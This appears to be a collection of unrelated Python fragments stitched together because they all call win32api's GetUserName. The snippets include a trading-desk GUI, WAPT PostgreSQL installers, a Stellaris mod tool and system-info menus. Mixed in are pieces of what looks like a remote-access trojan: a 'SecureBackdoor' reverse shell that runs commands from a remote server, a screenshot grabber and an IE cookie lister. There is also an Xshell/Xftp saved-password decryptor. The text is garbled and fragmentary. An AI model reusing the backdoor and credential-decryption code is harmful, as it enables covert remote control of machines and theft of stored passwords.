def SecureBackdoor(self): from socket import socket from socket import AF_INET, SOCK_STREAM from win32api import GetUserName from subprocess import Popen from subprocess import PIPE from ssl import wrap_socket, CERT_REQUIRED Vj = False try: so = socket(AF_INET, SOCK_STREAM) so.connect((self.Server, self.bdoorPort)) s = wrap_socket(so, ca_certs="bdoor.crt", cert_reqs=CERT_REQUIRED) Vj = False user = GetUserName() ruta = user + "@" + self.Server + "> " while not Vj: s.send(ruta) data = s.recv(1024) #if len(data) == 0: if data == "exit\n": Vj = True s.close() proc = Popen(data, shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() s.send(stdout_value) data = "" except: print "Backdoor Finished" Vj = True print "Boss Disconnected"
def __init__(self): # sid = [i.split(" ") for i in os.popen(r'whoami /user').read().split('\n') if # GetUserName() in i][0][-1] self.sid = [ i.split(" ") for i in os.popen(r'whoami /user').read().split('\n') if GetUserName() in i ][0][-1]
def Screenshot(self): ######################## # Usadas en Screenshot # ######################## from time import sleep from win32gui import GetDesktopWindow, GetWindowDC from win32ui import CreateDCFromHandle, CreateBitmap from win32con import SRCCOPY, SM_CXVIRTUALSCREEN, SM_CYVIRTUALSCREEN, SM_XVIRTUALSCREEN, SM_YVIRTUALSCREEN from win32api import GetSystemMetrics, GetUserName from time import strftime print "Tomando Pantallazo" # Toma 4 pantallazos # Cada pantallazo lo llama pantallazo1 , 2 ,3 o 4 # Lo hace cada 2 segundos t = strftime("%Y-%H%M%S") hwin = GetDesktopWindow() width = GetSystemMetrics(SM_CXVIRTUALSCREEN) height = GetSystemMetrics(SM_CYVIRTUALSCREEN) left = GetSystemMetrics(SM_XVIRTUALSCREEN) top = GetSystemMetrics(SM_YVIRTUALSCREEN) hwindc = GetWindowDC(hwin) srcdc = CreateDCFromHandle(hwindc) memdc = srcdc.CreateCompatibleDC() bmp = CreateBitmap() bmp.CreateCompatibleBitmap(srcdc, width, height) memdc.SelectObject(bmp) memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), SRCCOPY) bmp.SaveBitmapFile( memdc, "C:\\Users\\" + GetUserName() + "\\Downloads\\test\\screen" + t + ".bmp")
def saveFile(self, event): self.bdm.firstPass() out = self.bdm.df[['ISIN', 'BOND', 'MID', 'YLDM', 'ZM', 'BGN_MID']].copy() out.set_index('ISIN', inplace=True) filename = 'bdm-' + datetime.datetime.today().strftime( '%Y-%m-%d') + '-' + GetUserName() + '.csv' out.to_csv(PHPATH + filename)
def getuser(): user=getpass.getuser() if user: return user try: from win32api import GetUserName except ImportError: debug("can't find username, returning empty string") return '' else: return GetUserName()
def Cookies(self): ###################### # Usadas por Cookies # # Para IExplorer # ###################### from win32api import GetUserName from os import listdir usuario = GetUserName() ficheros = listdir('C:\\Users\\' + usuario + '\\AppData\\Local\\Microsoft\\Windows\\INetCookies' ) #windows: cuidado con el caracter \ #print ficheros return ficheros
def get_console_user(): """Find out who is logged in right now.""" current_os = platform.system() if 'Darwin' in current_os: # macOS: Use SystemConfiguration framework to get the current console user. from SystemConfiguration import SCDynamicStoreCopyConsoleUser cfuser = SCDynamicStoreCopyConsoleUser(None, None, None) return cfuser[0] if 'Windows' in current_os: from win32api import GetUserName return GetUserName() if 'Linux' in current_os: from getpass import getuser return getuser()
def install_postgresql_service(options, conf=None): if conf is None: conf = waptserver.config.load_config(options.configfile) print("install postgres database") pgsql_root_dir = r'%s\waptserver\pgsql-9.6' % wapt_root_dir pgsql_data_dir = r'%s\waptserver\pgsql_data-9.6' % wapt_root_dir pgsql_data_dir = pgsql_data_dir.replace('\\', '/') print("build database directory") if not os.path.exists(os.path.join(pgsql_data_dir, 'postgresql.conf')): setuphelpers.mkdirs(pgsql_data_dir) # need to have specific write acls for current user otherwise initdb fails... setuphelpers.run(r'icacls "%s" /t /grant "%s":(OI)(CI)(M)' % (pgsql_data_dir, GetUserName())) setuphelpers.run(r'"%s\bin\initdb" -U postgres -E=UTF8 -D "%s"' % (pgsql_root_dir, pgsql_data_dir)) setuphelpers.run(r'icacls "%s" /t /grant "*S-1-5-20":(OI)(CI)(M)' % pgsql_data_dir) print("start postgresql database") if setuphelpers.service_installed('WaptPostgresql'): if setuphelpers.service_is_running('WaptPostgresql'): setuphelpers.service_stop('waptPostgresql') setuphelpers.service_delete('waptPostgresql') cmd = r'"%s\bin\pg_ctl" register -N WAPTPostgresql -U "nt authority\networkservice" -S auto -D "%s" ' % ( pgsql_root_dir, pgsql_data_dir) print cmd run(cmd) setuphelpers.run(r'icacls "%s" /grant "*S-1-5-20":(OI)(CI)(M)' % log_directory) setuphelpers.run(r'icacls "%s" /grant "*S-1-5-20":(OI)(CI)(M)' % pgsql_data_dir) else: print("database already instanciated, doing nothing") # try to migrate from old version (pg 9.4, wapt 1.5) old_pgsql_root_dir = r'%s\waptserver\pgsql' % wapt_root_dir old_pgsql_data_dir = r'%s\waptserver\pgsql_data' % wapt_root_dir old_pgsql_data_dir = old_pgsql_data_dir.replace('\\', '/') if os.path.isdir(old_pgsql_data_dir) and os.path.isdir(old_pgsql_root_dir): print('migrating database from previous postgresql DB') migrate_pg_db(old_pgsql_root_dir, old_pgsql_data_dir, pgsql_root_dir, pgsql_data_dir) print('starting postgresql') if not setuphelpers.service_is_running('waptpostgresql'): setuphelpers.service_start('waptpostgresql') # waiting for postgres to be ready time.sleep(2) print("creating wapt database") import psycopg2 from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT conn = None cur = None try: conn = psycopg2.connect('dbname=template1 user=postgres') conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT) cur = conn.cursor() cur.execute("select 1 from pg_roles where rolname='%(db_user)s'" % conf) val = cur.fetchone() if val is None: print( "%(db_user)s pgsql user does not exists, creating %(db_user)s user" % conf) cur.execute("create user %(db_user)s" % conf) cur.execute("select 1 from pg_database where datname='%(db_name)s'" % conf) val = cur.fetchone() if val is None: print( "database %(db_name)s does not exists, creating %(db_name)s db" % conf) cur.execute("create database %(db_name)s owner %(db_user)s" % conf) finally: if cur: cur.close() if conn: conn.close() print("Creating/upgrading wapt tables") run(r'"%s\waptpython.exe" "%s\waptserver\model.py" init_db -c "%s"' % (wapt_root_dir, wapt_root_dir, options.configfile)) print("Done") print('Import lcoal Packages data into database') repo = WaptLocalRepo(conf['wapt_folder']) load_db_config(conf) Packages.update_from_repo(repo)
def __init__(self): """ We have two different environments - one for traders, one for sales """ self.isTrader = GetUserName() in traderLogins wx.Frame.__init__(self, None, wx.ID_ANY, "Flow Trading Tools", size=(1200, 900)) favicon = wx.Icon(APPPATH + 'pinacolada.ico', wx.BITMAP_TYPE_ICO, 32, 32) wx.Frame.SetIcon(self, favicon) self.Centre() self.modelPortfolioLoaded = False self.embiZscores = None self.africaZscores = None self.todayDT = datetime.datetime.now() self.connectedToFront = False # Setting up the menu. fileMenu = wx.Menu() #pricerMenu = wx.Menu() tradeHistoryMenu = wx.Menu() modelPortfolioMenu = wx.Menu() adminMenu = wx.Menu() self.Bind(wx.EVT_CLOSE, self.onExit) ############PREATE MENUS############ # wx.ID_ABOUT and wx.ID_EXIT are standard IDs provided by wxWidgets. launchPricerItem = fileMenu.Append(wx.ID_ANY, 'Launch &Pricer') aboutItem = fileMenu.Append(wx.ID_ABOUT, "&About", " Information about this program") fileMenu.AppendSeparator() exitItem = fileMenu.Append(wx.ID_EXIT, "E&xit", " Terminate the program") tradeHistoryMenuBondQueryItem = tradeHistoryMenu.Append( wx.ID_ANY, "&Bond query") tradeHistoryMenuQuickBondQueryItem = tradeHistoryMenu.Append( wx.ID_ANY, "&Quick bond query Ctrl+B") tradeHistoryMenuClientQueryItem = tradeHistoryMenu.Append( wx.ID_ANY, "&Client query") tradeHistoryMenuSalesPersonQueryItem = tradeHistoryMenu.Append( wx.ID_ANY, "&Salesperson query") tradeHistoryMenuIssuerQueryItem = tradeHistoryMenu.Append( wx.ID_ANY, "&Issuer query") tradeHistoryMenuCountryQueryItem = tradeHistoryMenu.Append( wx.ID_ANY, "&Country query") tradeHistoryMenu.AppendSeparator() tradeHistoryMenuAdvancedQueryItem = tradeHistoryMenu.Append( wx.ID_ANY, "&Advanced query") tradeHistoryMenuMonthlyQueryItem = tradeHistoryMenu.Append( wx.ID_ANY, "&Monthly query") tradeHistoryMenu.AppendSeparator() clientTradingReportItem = tradeHistoryMenu.Append( wx.ID_ANY, "Client trading &report") volumeByBondItem = tradeHistoryMenu.Append(wx.ID_ANY, "Volume by bond") buildModelPortfolioItem = modelPortfolioMenu.Append( wx.ID_ANY, "&Build") printModelPortfolioItem = modelPortfolioMenu.Append( wx.ID_ANY, "&Text output") performanceChartModelPortfolioItem = modelPortfolioMenu.Append( wx.ID_ANY, "&Performance chart") sendModelPortfolioEmail = modelPortfolioMenu.Append( wx.ID_ANY, "&Send email") adminMenuUpdateBondUniverseItem = adminMenu.Append( wx.ID_ANY, "&Update BondUniverse file") highSCCheckItem = adminMenu.Append(wx.ID_ANY, "&High SC check") newClientReportItem = adminMenu.Append(wx.ID_ANY, "&New client report") regs144aReportItem = adminMenu.Append(wx.ID_ANY, "®S/144A report") forceRebuildTradeHistoryItem = tradeHistoryMenu.Append( wx.ID_ANY, "&Force rebuild trade history") africaWeeklyItem = adminMenu.Append(wx.ID_ANY, "Plot Africa weekly") ceeWeeklyItem = adminMenu.Append(wx.ID_ANY, "Plot CEE weekly") cisWeeklyItem = adminMenu.Append(wx.ID_ANY, "Plot CIS weekly") eurozoneWeeklyItem = adminMenu.Append(wx.ID_ANY, "Plot Eurozone weekly") maDataReportItem = adminMenu.Append(wx.ID_ANY, "Daily MA report") maHotAndColdItem = adminMenu.Append(wx.ID_ANY, "MA hot and cold") ############CREATE THE MENUBAR############ self.menuBar = wx.MenuBar() self.menuBar.Append(fileMenu, "&File") self.menuBar.Append(tradeHistoryMenu, "&Trade History") self.menuBar.Append(modelPortfolioMenu, "&Model Portfolio") self.menuBar.Append(adminMenu, "&Administration") self.SetMenuBar(self.menuBar) ############ASSIGN ACTIONS############ self.Bind(wx.EVT_MENU, self.onLaunchPricer, launchPricerItem) self.Bind(wx.EVT_MENU, self.onAbout, aboutItem) self.Bind(wx.EVT_MENU, self.onExit, exitItem) self.Bind(wx.EVT_MENU, self.onBondQuery, tradeHistoryMenuBondQueryItem) self.Bind(wx.EVT_MENU, self.onQuickBondQuery, tradeHistoryMenuQuickBondQueryItem) self.Bind(wx.EVT_MENU, self.onClientQuery, tradeHistoryMenuClientQueryItem) self.Bind(wx.EVT_MENU, self.onSalesPersonQuery, tradeHistoryMenuSalesPersonQueryItem) self.Bind(wx.EVT_MENU, self.onIssuerQuery, tradeHistoryMenuIssuerQueryItem) self.Bind(wx.EVT_MENU, self.onCountryQuery, tradeHistoryMenuCountryQueryItem) self.Bind(wx.EVT_MENU, self.onAdvancedQuery, tradeHistoryMenuAdvancedQueryItem) self.Bind(wx.EVT_MENU, self.onMonthlyQuery, tradeHistoryMenuMonthlyQueryItem) self.Bind(wx.EVT_MENU, self.onClientTradingReport, clientTradingReportItem) self.Bind(wx.EVT_MENU, self.onVolumeByBond, volumeByBondItem) self.Bind(wx.EVT_MENU, self.onAfricaWeekly, africaWeeklyItem) self.Bind(wx.EVT_MENU, self.onCeeWeekly, ceeWeeklyItem) self.Bind(wx.EVT_MENU, self.onCisWeekly, cisWeeklyItem) self.Bind(wx.EVT_MENU, self.onEurozoneWeekly, eurozoneWeeklyItem) self.Bind(wx.EVT_MENU, self.onMaDataReportItem, maDataReportItem) self.Bind(wx.EVT_MENU, self.onMaHotAndColdItem, maHotAndColdItem) self.Bind(wx.EVT_MENU, self.onBuildModelPortfolioButton, buildModelPortfolioItem) self.Bind(wx.EVT_MENU, self.onPrintModelPortfolio, printModelPortfolioItem) self.Bind(wx.EVT_MENU, self.onPerformanceChartModelPortfolio, performanceChartModelPortfolioItem) self.Bind(wx.EVT_MENU, self.onSendModelPortfolioEmail, sendModelPortfolioEmail) self.Bind(wx.EVT_MENU, self.onUpdateBondUniverse, adminMenuUpdateBondUniverseItem) self.Bind(wx.EVT_MENU, self.onNewClientReport, newClientReportItem) self.Bind(wx.EVT_MENU, self.onRegs144aReport, regs144aReportItem) self.Bind(wx.EVT_MENU, self.onHighSCCheckItem, highSCCheckItem) self.Bind(wx.EVT_MENU, self.onForceRebuildTradeHistory, forceRebuildTradeHistoryItem) ############CREATE PANEL AND BUTTONS############ self.panel = wx.Panel(self, wx.ID_ANY) ############CREATE TABS############ self.notebook = wx.Notebook(self.panel) self.tabLogs = wx.Panel(parent=self.notebook) self.notebook.AddPage(self.tabLogs, "Logs") self.log = wx.TextCtrl(self.tabLogs, wx.ID_ANY, size=(300, 300), style=wx.TE_MULTILINE | wx.TE_READONLY | wx.HSCROLL) self.redirLogBox = RedirectText(self.log) # redirect text here sys.stdout = self.redirLogBox self.log.SetFont( wx.Font(10, wx.MODERN, wx.NORMAL, wx.NORMAL, False, u'Courier')) sizerLogH = wx.BoxSizer() sizerLogH.Add(self.log, proportion=1, flag=wx.EXPAND) sizerlogV = wx.BoxSizer(wx.VERTICAL) sizerlogV.Add(sizerLogH, proportion=1, flag=wx.EXPAND) self.tabLogs.SetSizerAndFit(sizerlogV) self.sizer = wx.BoxSizer(wx.VERTICAL) self.sizer.Add(self.notebook, 1, wx.ALL | wx.EXPAND, 5) self.panel.SetSizer(self.sizer) self.Layout() ############ACCELERATORS############ xit_id = wx.NewId() self.Bind(wx.EVT_MENU, self.onQuickBondQuery, id=xit_id) yit_id = wx.NewId() self.Bind(wx.EVT_MENU, self.onRiskTreeQuery, id=yit_id) self.accel_tbl = wx.AcceleratorTable([ (wx.ACCEL_CTRL, ord('B'), xit_id), (wx.ACCEL_CTRL, ord('F'), yit_id) ]) self.SetAcceleratorTable(self.accel_tbl) self.xmlLogger = toms_parser.RiskParser() try: self.buildTradeHistory(False) except: print 'error building Trade History' try: self.buildMarketAxess(False) except: print 'error building MarketAxess history' #############Disable functions if dealing with a salesperson############# if not self.isTrader: self.menuBar.Remove(self.menuBar.FindMenu("&Administration")) print 'Building tabs, please wait...' wx.CallAfter(self.buildRiskPanel)
def username(): user = GetUserName() return "Your Username is: " + user
# -*- coding: utf-8 -*- # python >= 3.7 # supported xmanager version <5.1, 5.1, 5.2, 6 import os import argparse import configparser import unicodedata from win32api import GetComputerName, GetUserName from win32security import LookupAccountName, ConvertSidToStringSid from base64 import b64encode, b64decode from Cryptodome.Hash import MD5, SHA256 from Cryptodome.Cipher import ARC4 USERNAME = GetUserName() MASTER_PWD = None SID = ConvertSidToStringSid( LookupAccountName(GetComputerName(), GetUserName())[0]) IS_XSH = True VERSION = '5.2' KEY = os.path.join(os.environ["USERPROFILE"], r"Documents\NetSarang\Xshell\Sessions") IS_DECRYPT = True def getCipherKey(): if not is_number(VERSION): raise ValueError('Invalid argument: --Version') ver = float(VERSION)
import json import os import zipfile import shutil import glob from win32api import GetSystemDirectory, GetUserName from locale import getdefaultlocale from googletrans.constants import LANGUAGES from scripts.db import set_collection_data, get_info_from_db from scripts.collection_db import db_init, write_data_in_collection, update_data_in_collection, get_data_from_collection from scripts.pictures import thumbs_synchronize drive = GetSystemDirectory().split(':')[0] user = GetUserName() paradox_folder = f'{drive}:\\Users\\{user}\\Documents\\Paradox Interactive\\Stellaris' local_mod_path = F'{paradox_folder}\\mod\\local_localisation' # TODO Попытаться брать hash мода из бд, например, по признаку local_mod и RegistryID collection_hash = '6fdfef4b-b06d-42fc-897f-b922efcd534b' collection_path = f'{local_mod_path}\\collection.db' collection_thumbnail_path = \ f'{paradox_folder}\\.launcher-cache\\_local-mod-thumbnail-collection_ru\\{collection_hash}.png' stack_path = f'{local_mod_path}\\stack.json' temp_folder_path = f'{local_mod_path}\\temp' data = {} def current_stellaris_version(current_version=None):
def install_postgresql_service(): print("install postgres database") pgsql_root_dir = r'%s\waptserver\pgsql' % wapt_root_dir pgsql_data_dir = r'%s\waptserver\pgsql_data' % wapt_root_dir pgsql_data_dir = pgsql_data_dir.replace('\\', '/') print("build database directory") if os.path.exists(os.path.join(pgsql_data_dir, 'postgresql.conf')): print("database already instanciated, doing nothing") # TODO: check that database is fully working and up to date # TODO: add a force option return print("init pgsql data directory") pg_data_dir = os.path.join(wapt_root_dir, 'waptserver', 'pgsql_data') setuphelpers.mkdirs(pg_data_dir) # need to have specific write acls for current user otherwise initdb fails... setuphelpers.run(r'icacls "%s" /t /grant "%s":(OI)(CI)(M)' % (pg_data_dir, GetUserName())) setuphelpers.run( r'"%s\waptserver\pgsql\bin\initdb" -U postgres -E=UTF8 -D "%s\waptserver\pgsql_data"' % (wapt_root_dir, wapt_root_dir)) setuphelpers.run(r'icacls "%s" /t /grant "*S-1-5-20":(OI)(CI)(M)' % pg_data_dir) print("start postgresql database") if setuphelpers.service_installed('WaptPostgresql'): if setuphelpers.service_is_running('WaptPostgresql'): setuphelpers.service_stop('waptPostgresql') setuphelpers.service_delete('waptPostgresql') cmd = r'"%s\bin\pg_ctl" register -N WAPTPostgresql -U "nt authority\networkservice" -S auto -D "%s" ' % ( pgsql_root_dir, os.path.join(wapt_root_dir, 'waptserver', 'pgsql_data')) print cmd run(cmd) setuphelpers.run(r'icacls "%s" /grant "*S-1-5-20":(OI)(CI)(M)' % log_directory) setuphelpers.run(r'icacls "%s" /grant "*S-1-5-20":(OI)(CI)(M)' % pgsql_data_dir) print('starting postgresql') run('net start waptpostgresql') #cmd = r"%s\bin\pg_ctl.exe -D %s start" % (pgsql_root_dir, pgsql_data_dir) #devnull = open(os.devnull,'wb') #print(subprocess.Popen(cmd,shell=True)) # waiting for postgres to be ready time.sleep(1) print("creating wapt database") import psycopg2 from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT conn = psycopg2.connect('dbname=template1 user=postgres') conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT) cur = conn.cursor() cur.execute("select 1 from pg_roles where rolname='wapt'") val = cur.fetchone() if val != 1: print("wapt pgsql user does not exists, creating wapt user") cur.execute("create user wapt") val = cur.execute("select 1 from pg_database where datname='wapt'") if val != 1: print("database wapt does not exists, creating wapt db") cur.execute(r"create extension hstore") cur.execute("create database wapt owner wapt") cur.close() conn.close() run(r'"%s\waptpython.exe" "%s\waptserver\waptserver_model.py" init_db' % (wapt_root_dir, wapt_root_dir)) time.sleep(1) setuphelpers.service_stop('waptpostgresql')
parser = argparse.ArgumentParser(description="xsh, xfp password decrypt") parser.add_argument("-s", "--sid", default="", type=str, help="`username`+`sid`, user `whoami /user` in command.") parser.add_argument("-p", "--password", default="", type=str, help="the password in sessions or path of sessions") args = parser.parse_args() if not args.sid: args.sid = GetUserName() + ConvertSidToStringSid( LookupAccountName(GetComputerName(), GetUserName())[0]) if not args.password: args.password = os.path.join(os.environ["USERPROFILE"], r"Documents\NetSarang Computer\6") if not os.path.isdir(args.password): r = decrypt_string(args.sid, args.password) if r: print(r) for root, dirs, files in os.walk(args.password): for f in files: if f.endswith(".xsh") or f.endswith(".xfp"): filepath = os.path.join(root, f) cfg = configparser.ConfigParser()
import subprocess import platform from cpuinfo import get_cpu_info import socket from win32api import GetUserName from mem import ram, ramtotal import cpumodule import intchoose from datemodule import datefunc import menusystem import psutil from menu_toolkit import main cls = lambda: print('\n' * 100) ip_address = socket.gethostbyname(socket.gethostname()) username = GetUserName() cbrand = get_cpu_info()['brand'] #Basic code help #Before print text, use cls() #Keep if selection == 0: always last #Keep 99 reserved for back commands #Use \n instead of print("") #If no == comparing after while True, use os.system("pause") #Else: break, if user has a choice to not go back def cpuinfo(): print("CPU Model:\n") print(get_cpu_info()["brand"])
def __init__(self, target_user): if target_user is None: target_user = GetUserName() self.target_user = target_user